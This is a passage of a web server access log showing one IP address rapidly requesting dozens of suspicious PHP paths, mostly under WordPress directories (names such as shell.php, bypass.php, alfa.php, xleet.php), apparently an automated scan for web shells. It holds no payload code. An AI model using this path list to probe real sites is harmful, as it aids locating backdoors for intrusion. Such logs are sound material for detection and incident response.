Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:21 +0300] "GET /wp-includes/assets/script-modules-packages.min-meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:21 +0300] "GET /wp-includes/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:21 +0300] "GET /wp-content/themes/twentytwentyfour/content-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:21 +0300] "GET /admin/controller/extension/extension/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:21 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:25:22 +0300] "GET /wp-admin/css/colors/modern/colors.css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:22 +0300] "GET /wp-includes/style-engine/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:22 +0300] "GET /css/media-widget-vide02.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:22 +0300] "GET /wp-includes/blocks/group/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:25:22 +0300] "GET /images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:23 +0300] "GET /templates/beez3/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:23 +0300] "GET /wp-includes/widgets/class-wp-wolf-widget.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:25:23 +0300] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:25:23 +0300] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:23 +0300] "GET /.well-known/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:24 +0300] "GET /wordpress/wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:25:24 +0300] "GET /.well-known/pki-validation/server.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:24 +0300] "GET /autoload_classmap/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:24 +0300] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:24 +0300] "GET /wp-content/plugins/ubh/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:25 +0300] "GET /wp-content/uploads/anas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:25 +0300] "GET /wp-admin/css/colors/blue/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:25 +0300] "GET /wp-content/plugins/erinyani/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:25 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:25:26 +0300] "GET /xex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:26 +0300] "GET /ar/wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:26 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:26 +0300] "GET /wp-content/plugins/pwnd/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:26 +0300] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:25:26 +0300] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:27 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:25:27 +0300] "GET /wp-content/upgrade/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:25:27 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:27 +0300] "GET /wp-includes/wp-sup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.92.229.34 - - [11/Feb/2026:17:25:27 +0300] "GET /wordpress/wp-includes/class-wp-http-ixr-client-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:28 +0300] "GET /images/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:25:28 +0300] "GET /wp-includes/widgets/class-t.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:25:28 +0300] "GET /wp-content/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:25:28 +0300] "GET /.well-known/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:25:28 +0300] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:28 +0300] "GET /wp-admin/css/colors/blue/navi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:29 +0300] "GET /wp-includes/css/dist/require-dynamic-blocks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:29 +0300] "GET /xp.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:25:29 +0300] "GET /wp-content/languages/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:29 +0300] "GET /wp-content/bypass_1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:29 +0300] "GET /wp-admin/js/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.92.229.34 - - [11/Feb/2026:17:25:30 +0300] "GET /admin/user_data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:30 +0300] "GET /wp-includes/widgets/class-wp-widget-rss-database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:30 +0300] "GET /.well-known/pki-validation/kur.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:30 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:31 +0300] "GET /wp-includes/class-wp-customize-manager-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:25:31 +0300] "GET /wp-includes/assets/script-modules-packages.min-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:31 +0300] "GET /wp-admin/css/colors/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:31 +0300] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:31 +0300] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:32 +0300] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:25:32 +0300] "GET /wp-admin/maint/repairs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:32 +0300] "GET /wp-includes/images/smilies/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:33 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:33 +0300] "GET /wp-header.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:33 +0300] "GET /file.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:33 +0300] "GET /.tmb/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:33 +0300] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:25:34 +0300] "GET /wp-includes/style-engine-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:34 +0300] "GET /images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:25:34 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:34 +0300] "GET /adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:35 +0300] "GET /js/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:35 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:35 +0300] "GET /wp-includes/blocks/file/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:35 +0300] "GET /images/habhan.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:25:36 +0300] "GET /wp-content/mu-plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:36 +0300] "GET /wp-includes/IXR/class-IXR-cilent.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:36 +0300] "GET /wp-content/uploads/wp-cert.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:25:36 +0300] "GET /about/function.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:37 +0300] "GET /routes/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:37 +0300] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:37 +0300] "GET /wp-includes/PHPMailer/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:37 +0300] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:37 +0300] "GET /f35_SpaceTn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:25:38 +0300] "GET /wp-admin/css/colors/sunrise/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:38 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/fixed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:25:38 +0300] "GET /wp-admin/js/widgets/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:25:38 +0300] "GET /wp-content/plugins/fix/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:25:39 +0300] "GET /wp-includes/category-double.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:25:39 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:39 +0300] "GET /blog/signatur.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:39 +0300] "GET /wp-includes/assets/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:40 +0300] "GET /wp-includes/widgets/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:40 +0300] "GET /include/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:40 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:40 +0300] "GET /wp-includes/class-wp-language-pack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:25:41 +0300] "GET /js/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:41 +0300] "GET /wp-includes/class-walker-comment-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:25:41 +0300] "GET /about/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:41 +0300] "GET /file/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:25:41 +0300] "GET /function/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:42 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:42 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:42 +0300] "GET /wp-includes/class-wp-network-query-stat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:25:42 +0300] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:43 +0300] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.92.229.34 - - [11/Feb/2026:17:25:43 +0300] "GET /wp-includes/class-wp-session-tokens-https.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:43 +0300] "GET /wp-admin/js/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:25:43 +0300] "GET /images/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:44 +0300] "GET /wp-includes/images/crystal/lrs_dage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.92.229.34 - - [11/Feb/2026:17:25:44 +0300] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:44 +0300] "GET /wp-includes/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:44 +0300] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:45 +0300] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:25:45 +0300] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:45 